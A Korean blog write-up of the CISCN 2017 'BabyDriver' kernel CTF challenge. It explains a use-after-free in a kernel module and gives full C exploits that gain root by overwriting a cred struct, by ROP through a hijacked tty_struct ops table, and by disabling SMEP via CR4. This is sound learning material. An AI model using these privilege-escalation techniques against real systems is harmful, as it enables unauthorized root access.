본문 바로가기

PWN

[CISCN 2017] BabyDriver

리눅스 커널 모듈에서 발생하는 취약점을 exploit하는 문제이다. 

 

ioctl에서 원하는 크기의 청크를 할당할 수 있다. 이때 청크의 포인터는 전역변수에 등록된다. 

__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
  size_t v3; // rdx
  size_t size; // rbx
  __int64 result; // rax

  _fentry__();
  size = v3;
  if ( command == 0x10001 )
  {
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = (char *)_kmalloc(size, 0x24000C0LL);
    babydev_struct.device_buf_len = size;
    printk("alloc done\n", 0x24000C0LL);
    result = 0LL;
  }
  else
  {
    printk(&unk_2EB, v3);
    result = 0xFFFFFFFFFFFFFFEALL;
  }
  return result;
}

 

이후 fd를 close할 때 청크를 해제한다. 이때 청크의 포인터를 NULL로 지우지 않아서 취약점이 발생한다.

 

int __fastcall babyrelease(inode *inode, file *filp)
{
  _fentry__();
  kfree(babydev_struct.device_buf);
  printk("device release\n", filp);
  return 0;
}

 

UAF 트리거 방법은 다음과 같다. 

  1. 2개의 babydriver를 open한다.
  2. ioctl로 청크를 할당한다.
  3. 하나의 fd를 닫아서 청크를 해제한다.
  4. 열려있는 fd를 이용하여 해제된 청크에 값을 쓸 수 있다.

해당 취약점을 LPE까지 이끌고 가기 위해서 2가지 방법을 사용할 수 있다. 공부할 겸해서 두 가지 방법다 해보았다. 

 

  • creds 구조체 overwrite
  • tty 구조체를 이용한 rop

  • creds 구조체 overwrite

커널에서는 프로세스의 권한을 관리하기 위해서 creds라는 구조체를 이용한다. 해당 구조체에는 프로세스의 UID가 정의되어 있는 부분이 있다. 따라서 해커가 제어할 수 있는 프로세스의 creds 구조체에 있는 UID를 0으로 바꾼다면 root 권한을 획득할 수 있다.  

 

이 공격 방식을 사용하기 위해서 fork를 사용해야 한다. 우선 유저단에서 fork가 실행된 후 커널에서 어떤 함수들이 실행되는지 보자. 

 

linux-4.4.72/kernel/fork.c:1798

long do_fork(unsigned long clone_flags,
	      unsigned long stack_start,
	      unsigned long stack_size,
	      int __user *parent_tidptr,
	      int __user *child_tidptr)
{
	return _do_fork(clone_flags, stack_start, stack_size,
			parent_tidptr, child_tidptr, 0);
}

 

별 거 없다.

 

linux-4.4.72/kernel/fork.c:1724

long _do_fork(unsigned long clone_flags,
	      unsigned long stack_start,
	      unsigned long stack_size,
	      int __user *parent_tidptr,
	      int __user *child_tidptr,
	      unsigned long tls)
{
	struct task_struct *p;
	int trace = 0;
	long nr;

	/*
	 * Determine whether and which event to report to ptracer.  When
	 * called from kernel_thread or CLONE_UNTRACED is explicitly
	 * requested, no event is reported; otherwise, report if the event
	 * for the type of forking is enabled.
	 */
	if (!(clone_flags & CLONE_UNTRACED)) {
		if (clone_flags & CLONE_VFORK)
			trace = PTRACE_EVENT_VFORK;
		else if ((clone_flags & CSIGNAL) != SIGCHLD)
			trace = PTRACE_EVENT_CLONE;
		else
			trace = PTRACE_EVENT_FORK;

		if (likely(!ptrace_event_enabled(current, trace)))
			trace = 0;
	}

	p = copy_process(clone_flags, stack_start, stack_size,
			 child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
	/*
	 * Do this prior waking up the new thread - the thread pointer
	 * might get invalid after that point, if the thread exits quickly.
	 */
	if (!IS_ERR(p)) {
		struct completion vfork;
		struct pid *pid;

		trace_sched_process_fork(current, p);

		pid = get_task_pid(p, PIDTYPE_PID);
		nr = pid_vnr(pid);

		if (clone_flags & CLONE_PARENT_SETTID)
			put_user(nr, parent_tidptr);

		if (clone_flags & CLONE_VFORK) {
			p->vfork_done = &vfork;
			init_completion(&vfork);
			get_task_struct(p);
		}

		wake_up_new_task(p);

		/* forking complete and child started to run, tell ptracer */
		if (unlikely(trace))
			ptrace_event_pid(trace, pid);

		if (clone_flags & CLONE_VFORK) {
			if (!wait_for_vfork_done(p, &vfork))
				ptrace_event_pid(PTRACE_EVENT_VFORK_DONE, pid);
		}

		put_pid(pid);
	} else {
		nr = PTR_ERR(p);
	}
	return nr;
}

 

_do_fork함수에서는 copy_process 함수를 통해 새로운 프로세스를 실행한다. copy_process가 어떤 동작을 하는지 보자.

 

 

linux-4.4.72/kernel/fork.c:1268

static struct task_struct *copy_process(unsigned long clone_flags,
					unsigned long stack_start,
					unsigned long stack_size,
					int __user *child_tidptr,
					struct pid *pid,
					int trace,
					unsigned long tls,
					int node)
{
	int retval;
	struct task_struct *p;
	void *cgrp_ss_priv[CGROUP_CANFORK_COUNT] = {};

/*
생략
*/

	retval = copy_creds(p, clone_flags);
	if (retval < 0)
		goto bad_fork_free;

/*
생략
*/
}

 너무 길어서 필요없는 부분은 생략했다. copy_creds를 통해 생성된 프로세스에 creds를 입력하는 것을 볼 수 있다. copy_creds 함수를 보자. 

 

 

linux-4.4.72/kernel/cred.c:322

int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
	struct cred *new;
	int ret;

	if (
#ifdef CONFIG_KEYS
		!p->cred->thread_keyring &&
#endif
		clone_flags & CLONE_THREAD
	    ) {
		p->real_cred = get_cred(p->cred);
		get_cred(p->cred);
		alter_cred_subscribers(p->cred, 2);
		kdebug("share_creds(%p{%d,%d})",
		       p->cred, atomic_read(&p->cred->usage),
		       read_cred_subscribers(p->cred));
		atomic_inc(&p->cred->user->processes);
		return 0;
	}

	new = prepare_creds();
	if (!new)
		return -ENOMEM;

	if (clone_flags & CLONE_NEWUSER) {
		ret = create_user_ns(new);
		if (ret < 0)
			goto error_put;
	}

#ifdef CONFIG_KEYS
	/* new threads get their own thread keyrings if their parent already
	 * had one */
	if (new->thread_keyring) {
		key_put(new->thread_keyring);
		new->thread_keyring = NULL;
		if (clone_flags & CLONE_THREAD)
			install_thread_keyring_to_cred(new);
	}

	/* The process keyring is only shared between the threads in a process;
	 * anything outside of those threads doesn't inherit.
	 */
	if (!(clone_flags & CLONE_THREAD)) {
		key_put(new->process_keyring);
		new->process_keyring = NULL;
	}
#endif

	atomic_inc(&new->user->processes);
	p->cred = p->real_cred = get_cred(new);
	alter_cred_subscribers(new, 2);
	validate_creds(new);
	return 0;

error_put:
	put_cred(new);
	return ret;
}

prepare_cred를 통해 new라는 새로운 creds를 만든 후 p->cred = p->real_cred = get_cred(new);를 통해 프로세스에 생성된 creds를 넣는다. prepare_cred 함수를 보자. 

 

linux-4.4.72/kernel/cred.c:243

struct cred *prepare_creds(void)
{
	struct task_struct *task = current;
	const struct cred *old;
	struct cred *new;

	validate_process_creds();

	new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
	if (!new)
		return NULL;

	kdebug("prepare_creds() alloc %p", new);

	old = task->cred;
	memcpy(new, old, sizeof(struct cred));

	atomic_set(&new->usage, 1);
	set_cred_subscribers(new, 0);
	get_group_info(new->group_info);
	get_uid(new->user);
	get_user_ns(new->user_ns);

#ifdef CONFIG_KEYS
	key_get(new->session_keyring);
	key_get(new->process_keyring);
	key_get(new->thread_keyring);
	key_get(new->request_key_auth);
#endif

#ifdef CONFIG_SECURITY
	new->security = NULL;
#endif

	if (security_prepare_creds(new, old, GFP_KERNEL) < 0)
		goto error;
	validate_creds(new);
	return new;

error:
	abort_creds(new);
	return NULL;
}

kmem_cache_alloc 함수를 통하여 new라는 새로운 cred를 생성한다. 따라서 creds와 같은 크기의 메모리에 UAF 취약점을 이용하여 값을 쓸 수 있게 한 다음, fork를 하면 babywrite를 통해 새로운 프로세스의 creds에 유저가 값을 쓸 수 있게 된다. 

 

linux-4.4.72/kernel/cred.h:118

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring;	/* default keyring to attach requested
					 * keys to */
	struct key __rcu *session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
	void		*security;	/* subjective LSM security */
#endif
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	struct rcu_head	rcu;		/* RCU deletion hook */
};

size --> 168

 

따라서 168만큼 할당한 청크에 대해서 UAF를 발생시킨 후 fork를 하여 creds를 생성하고, 생성된 creds의 UID를 0으로 덮어쓰면 된다. 이상하게 system으로 쉘을 띄우면 UID가 1000으로 나와서 바로 cat flag를 해줬다.

 

#include<sys/ioctl.h>
#include<fcntl.h>
#include<stdio.h>
void main(){

	int fd1= open("/dev/babydev",O_RDWR);
	int fd2= open("/dev/babydev",O_RDWR);
	char payload[0x28]={0,};
	if(fd1!= 3|| fd2!=4){
		printf("open fail\n");
		exit(1);
	}
	if (ioctl(fd1,0x10001,168)){
		printf("ioctl fail\n");
	}
	close(fd1);//free babydev_struct.device_buf

	if(fork()==0){
		printf("fork done\n");
		printf("writen %d\n" , write(fd2,payload,sizeof(payload)));
		if (getuid()==0){
			printf("uid : root\n");
			system("cat flag");
		}
		else{
			printf("not root\n");
		}
	}

}

 


 

  • tty 구조체를 이용한 rop

tty는 Teletypewriter의 줄임말이다. 리눅스에서 콘솔을 만들기 위해 사용된다. tty구조체에는 ops라 불리는 함수 테이블이 있다. (glibc의 stdin,stdout이 가지는 함수테이블과 비슷함.) 따라서 UAF 취약점을 이용하여 tty 구조체에 값을 덮어쓸 수 있다면 ROP가 가능하다.

struct tty_struct {
	int	magic;
	struct kref kref;
	struct device *dev;
	struct tty_driver *driver;
	const struct tty_operations *ops; // overwrite here!!!
	int index;

	/* Protects ldisc changes: Lock tty not pty */
	struct ld_semaphore ldisc_sem;
	struct tty_ldisc *ldisc;

	struct mutex atomic_write_lock;
	struct mutex legacy_mutex;
	struct mutex throttle_mutex;
	struct rw_semaphore termios_rwsem;
	struct mutex winsize_mutex;
	spinlock_t ctrl_lock;
	spinlock_t flow_lock;
	/* Termios values are protected by the termios rwsem */
	struct ktermios termios, termios_locked;
	struct termiox *termiox;	/* May be NULL for unsupported */
	char name[64];
	struct pid *pgrp;		/* Protected by ctrl lock */
	struct pid *session;
	unsigned long flags;
	int count;
	struct winsize winsize;		/* winsize_mutex */
	unsigned long stopped:1,	/* flow_lock */
		      flow_stopped:1,
		      unused:BITS_PER_LONG - 2;
	int hw_stopped;
	unsigned long ctrl_status:8,	/* ctrl_lock */
		      packet:1,
		      unused_ctrl:BITS_PER_LONG - 9;
	unsigned int receive_room;	/* Bytes free for queue */
	int flow_change;

	struct tty_struct *link;
	struct fasync_struct *fasync;
	int alt_speed;		/* For magic substitution of 38400 bps */
	wait_queue_head_t write_wait;
	wait_queue_head_t read_wait;
	struct work_struct hangup_work;
	void *disc_data;
	void *driver_data;
	struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

	int closing;
	unsigned char *write_buf;
	int write_cnt;
	/* If the tty has a pending do_SAK, queue it here - akpm */
	struct work_struct SAK_work;
	struct tty_port *port;
};

 

tty구조체를 할당받기 위해서는 ptmx를 이용해야 한다. 

 

static int ptmx_open(struct inode *inode, struct file *filp)
{
	struct pts_fs_info *fsi;
	struct tty_struct *tty;
	struct inode *slave_inode;
	int retval;
	int index;

	nonseekable_open(inode, filp);

	/* We refuse fsnotify events on ptmx, since it's a shared resource */
	filp->f_mode |= FMODE_NONOTIFY;

	retval = tty_alloc_file(filp);
	if (retval)
		return retval;

	fsi = devpts_get_ref(inode, filp);
	retval = -ENODEV;
	if (!fsi)
		goto out_free_file;

	/* find a device that is not in use. */
	mutex_lock(&devpts_mutex);
	index = devpts_new_index(fsi);
	mutex_unlock(&devpts_mutex);

	retval = index;
	if (index < 0)
		goto out_put_ref;


	mutex_lock(&tty_mutex);
	tty = tty_init_dev(ptm_driver, index);
	/* The tty returned here is locked so we can safely
	   drop the mutex */
	mutex_unlock(&tty_mutex);

	retval = PTR_ERR(tty);
	if (IS_ERR(tty))
		goto out;

	/*
	 * From here on out, the tty is "live", and the index and
	 * fsi will be killed/put by the tty_release()
	 */
	set_bit(TTY_PTY_LOCK, &tty->flags); /* LOCK THE SLAVE */
	tty->driver_data = fsi;

	tty_add_file(tty, filp);

	slave_inode = devpts_pty_new(fsi,
			MKDEV(UNIX98_PTY_SLAVE_MAJOR, index), index,
			tty->link);
	if (IS_ERR(slave_inode)) {
		retval = PTR_ERR(slave_inode);
		goto err_release;
	}
	tty->link->driver_data = slave_inode;

	retval = ptm_driver->ops->open(tty, filp);
	if (retval)
		goto err_release;

	tty_debug_hangup(tty, "(tty count=%d)\n", tty->count);

	tty_unlock(tty);
	return 0;
err_release:
	tty_unlock(tty);
	// This will also put-ref the fsi
	tty_release(inode, filp);
	return retval;
out:
	devpts_kill_index(fsi, index);
out_put_ref:
	devpts_put_ref(fsi);
out_free_file:
	tty_free_file(filp);
	return retval;
}

ptmx_open함수에서는 tty_init_dev함수를 통해 tty 구조체를 생성한다. tty_init_dev 구조체를 보자.

 

struct tty_struct *tty_init_dev(struct tty_driver *driver, int idx)
{
	struct tty_struct *tty;
	int retval;

	/*
	 * First time open is complex, especially for PTY devices.
	 * This code guarantees that either everything succeeds and the
	 * TTY is ready for operation, or else the table slots are vacated
	 * and the allocated memory released.  (Except that the termios
	 * and locked termios may be retained.)
	 */

	if (!try_module_get(driver->owner))
		return ERR_PTR(-ENODEV);

	tty = alloc_tty_struct(driver, idx);
	if (!tty) {
		retval = -ENOMEM;
		goto err_module_put;
	}

	tty_lock(tty);
	retval = tty_driver_install_tty(driver, tty);
	if (retval < 0)
		goto err_deinit_tty;

	if (!tty->port)
		tty->port = driver->ports[idx];

	WARN_RATELIMIT(!tty->port,
			"%s: %s driver does not set tty->port. This will crash the kernel later. Fix the driver!\n",
			__func__, tty->driver->name);

	tty->port->itty = tty;

	/*
	 * Structures all installed ... call the ldisc open routines.
	 * If we fail here just call release_tty to clean up.  No need
	 * to decrement the use counts, as release_tty doesn't care.
	 */
	retval = tty_ldisc_setup(tty, tty->link);
	if (retval)
		goto err_release_tty;
	/* Return the tty locked so that it cannot vanish under the caller */
	return tty;

err_deinit_tty:
	tty_unlock(tty);
	deinitialize_tty_struct(tty);
	free_tty_struct(tty);
err_module_put:
	module_put(driver->owner);
	return ERR_PTR(retval);

	/* call the tty release_tty routine to clean out this slot */
err_release_tty:
	tty_unlock(tty);
	printk_ratelimited(KERN_INFO "tty_init_dev: ldisc open failed, "
				 "clearing slot %d\n", idx);
	release_tty(tty, idx);
	return ERR_PTR(retval);
}

 

tty_init_dev함수에서는 alloc_tty_struct함수를 통해 tty 구조체를 할당한다. 

 

struct tty_struct *alloc_tty_struct(struct tty_driver *driver, int idx)
{
	struct tty_struct *tty;

	tty = kzalloc(sizeof(*tty), GFP_KERNEL);
	if (!tty)
		return NULL;

	kref_init(&tty->kref);
	tty->magic = TTY_MAGIC;
	tty_ldisc_init(tty);
	tty->session = NULL;
	tty->pgrp = NULL;
	mutex_init(&tty->legacy_mutex);
	mutex_init(&tty->throttle_mutex);
	init_rwsem(&tty->termios_rwsem);
	mutex_init(&tty->winsize_mutex);
	init_ldsem(&tty->ldisc_sem);
	init_waitqueue_head(&tty->write_wait);
	init_waitqueue_head(&tty->read_wait);
	INIT_WORK(&tty->hangup_work, do_tty_hangup);
	mutex_init(&tty->atomic_write_lock);
	spin_lock_init(&tty->ctrl_lock);
	spin_lock_init(&tty->flow_lock);
	INIT_LIST_HEAD(&tty->tty_files);
	INIT_WORK(&tty->SAK_work, do_SAK_work);

	tty->driver = driver;
	tty->ops = driver->ops;
	tty->index = idx;
	tty_line_name(driver, idx, tty->name);
	tty->dev = tty_get_device(tty);

	return tty;
}

 

alloc_tty_struct 함수에서는 tty의 size만큼 kzalloc를 사용하여 청크를 할당한다. tty 구조체의 size는 736이다. 

 

따라서 736 크기를 가지는 청크에 대해서 UAF를 트리거한 후 pmtx를 open한다면 tty 구조체를 overwrite할 수 있다. 그후 ops를 덮어써서 rop 하이재킹이 가능하다. stack overflow를 통한 rop 하이재킹이 아니기 때문에 당연히 stack pivot를 해줘야 한다. 

 

#include<stdio.h>
#include<stdlib.h>
#include<sys/ioctl.h>
#include<fcntl.h>
#include <sys/mman.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;

static void save_tf(){


    asm volatile(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "pushfq\n"
        "popq %2\n"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags)
        :
        :"memory"
        );
}


void shell(){

system("/bin/sh");
}
void main(){

unsigned long  buf[0x20];
unsigned long  fake[0x20];
unsigned long rop[0x20];
save_tf();
// long stack=0x0000000001740100;
fake[0]=0x111111;
fake[1]=0x222222;
fake[2]=0x333333;
fake[3]=0x444444;
fake[4]=0x555555;
fake[5]=0x666666;
fake[6]=0x777777;
fake[7]=0xffffffff814f5359;//here //stack pivot



long *addr=(long*)mmap((void *)0x0000000001740000-0x1000, 0x60000, PROT_READ | PROT_WRITE,  0x32 | MAP_POPULATE, -1, 0);


if (addr!= 0x173f000){
printf("mmap fail! %lx\n",addr);
exit(1);
}

printf("mmap success! %lx\n",addr);

long *stack=0x0000000001740100;
stack[0]=0xffffffff810d238d;//pop rdi
stack[1]=0;//o
stack[2]=0xffffffff810a1810 ;//prepare
stack[3]=0xFFFFFFFF810769D8  ;//pop rbx
stack[4]=0xffffffff810a1426;//commit creds
stack[5]=0xffffffff814acf60;//mov rdi, rax ; call rbx ;
stack[6]=0xffffffff81063694;//swag
stack[7]=0xdeadbeef;
stack[8]=0xffffffff8181a797;//iretq
stack[9]=&shell;
stack[10]=user_cs;
stack[11]=user_rflags;
stack[12]=0x01740108;
stack[13]=user_ss;

        int fd1= open("/dev/babydev",O_RDWR);
        int fd2= open("/dev/babydev",O_RDWR);

if(fd1<1|| fd2<1){
printf("open fail\n");
exit(1);
}
if (ioctl(fd1,0x10001,736)){
printf("ioctl fail\n");
    }
close(fd1);//free babydev_struct.device_buf
int ptmx=open("/dev/ptmx",O_RDWR);
//write(fd2,buf,0x60);//wtf magic number
read(fd2,buf,0x60);
printf("0x%lx\n",*(buf));
printf("0x%lx\n",*(buf+1));
printf("0x%lx\n",*(buf+2));
printf("0x%lx\n",*(buf+3));
printf("stack : 0x%lx\n",buf);
buf[3]=&fake;
write(fd2,buf,0x20);
write(ptmx,buf,0x20);

}

참고로 ops를 덮어쓰려 하니까 자꾸 에러가 나서 확인해 보니 아래의 체크 로직이 원인이 었다. magic value를 하드코딩해도 계속 에러가 나서 디버깅해보니 아래 함수에 다다를 때면 값이 이상하게 채워졌다. 그래서 read로 모든 값을 읽어온 후 다시 write하니 magic value가 제대로 들어갔다. 

int tty_paranoia_check(struct tty_struct *tty, struct inode *inode,
			      const char *routine)
{
#ifdef TTY_PARANOIA_CHECK
	if (!tty) {
		printk(KERN_WARNING
			"null TTY for (%d:%d) in %s\n",
			imajor(inode), iminor(inode), routine);
		return 1;
	}
	if (tty->magic != TTY_MAGIC) {
		printk(KERN_WARNING
			"bad magic number for tty struct (%d:%d) in %s\n",
			imajor(inode), iminor(inode), routine);
		return 1;
	}
#endif
	return 0;
}

 


  • tty 구조체를 이용한 rop ( disable smep)

smep이란 커널 권한을 가진 상태로 유저 영역의 코드를 실행하지 못하게 하는 커널 메모리 모호기법이다. 이 기법이 적용되어 있다면 유저랜드에 쉘코드를 적어놓고 커널의 RIP를 해당 쉘코드로 뛰게하는 기법을 사용할 수 없어서 ROP를 해야 한다. 하지만 ROP를 할 수 있다면 smep (+smap)를 해제하고 커널모드로 유저랜드의 쉘코드를 실행할 수 있다. 

 

아래 링크의 2865번째 페이지에 smep에 관련된 내용이 있다. CR4 레지스터의 20번째 bit가 켜저 있다면 smep이 활성화된다. 반대로 해당 bit를 꺼버린다면 smep이 비활성화 된다. 따라서 rop를 통해 CR4레지스터의 값을 통제할 수 있다면 smep을 우회할 수 있다.  

https://software.intel.com/sites/default/files/managed/39/c5/325462-sdm-vol-1-2abcd-3abcd.pdf

smep and smap

 

 


#include<stdio.h>
#include<stdlib.h>
#include<sys/ioctl.h>
#include<fcntl.h>
#include <sys/mman.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
char * (*prepare)(int uid)=0xffffffff810a1810;
void (*commit)(char * creds)=0xffffffff810a1420;
static void save_tf(){


    asm volatile(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "pushfq\n"
        "popq %2\n"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags)
        :
        :"memory"
        );
}


void get_root(){
commit(prepare(0));
}
void shell(){
// commit(prepare(0));
system("/bin/sh");
}
void main(){

unsigned long  buf[0x20];
unsigned long  fake[0x20];
unsigned long rop[0x20];
save_tf();
// long stack=0x0000000001740100;
fake[0]=0x111111;
fake[1]=0x222222;
fake[2]=0x333333;
fake[3]=0x444444;
fake[4]=0x555555;
fake[5]=0x666666;
fake[6]=0x777777;
fake[7]=0xffffffff814f5359;//here //stack pivot


long *addr=(long*)mmap((void *)0x0000000001740000-0x1000, 0x60000, PROT_READ | PROT_WRITE,  0x32 | MAP_POPULATE, -1, 0);


if (addr!= 0x173f000){
printf("mmap fail! %lx\n",addr);
exit(1);
}

printf("mmap success! %lx\n",addr);
long *stack=0x0000000001740100;
stack[0]=0xffffffff813e7d6f;//pop rdi;
stack[1]=0x6f0;
stack[2]=0xffffffff810635b4;//mov cr4, edi ; pop rbp ; ret  ;

stack[3]=0xdeadbeef;

stack[4]=get_root;//

stack[5]=0xffffffff81063694;//swag
stack[6]=0xdeadbeef;
stack[7]=0xffffffff8181a797;//iretq
stack[8]=&shell;
stack[9]=user_cs;
stack[10]=user_rflags;
stack[11]=0x01740108;
stack[12]=user_ss;

        int fd1= open("/dev/babydev",O_RDWR);
        int fd2= open("/dev/babydev",O_RDWR);

if(fd1<1|| fd2<1){
printf("open fail\n");
exit(1);
}
if (ioctl(fd1,0x10001,736)){
printf("ioctl fail\n");
}
close(fd1);//free babydev_struct.device_buf
int ptmx=open("/dev/ptmx",O_RDWR);
//write(fd2,buf,0x60);//wtf magic number
read(fd2,buf,0x60);
printf("0x%lx\n",*(buf));
printf("0x%lx\n",*(buf+1));
printf("0x%lx\n",*(buf+2));
printf("0x%lx\n",*(buf+3));
printf("stack : 0x%lx\n",buf);
buf[3]=&fake;
write(fd2,buf,0x20);
write(ptmx,buf,0x20);

}

 

 

 

TODO

  • smap이 적용된 상태로 exploit (rop 체인 위치??)
  • kernel 디버깅....... 커널 패닉 로그보는 게 더 편함 ㄷㄷ

 

 

레퍼런스

http://blog.dasomoli.org/tag/cdev_init/

https://sunrinjuntae.tistory.com/130

https://www.lazenca.net/pages/viewpage.action?pageId=25624864

https://xilinx-wiki.atlassian.net/wiki/spaces/A/pages/18842473/Build+and+Modify+a+Rootfs

https://mineta.tistory.com/65

 

'PWN' 카테고리의 다른 글

HSCTF / hard_heap  (0) 2020.02.19
HackTM CTF 2020 / Trip_to_trick  (0) 2020.02.10
2019 defcon/ babyheap  (0) 2020.01.04
calloc without memset 0  (0) 2019.12.30
glibc 2.29 tcache  (0) 2019.12.28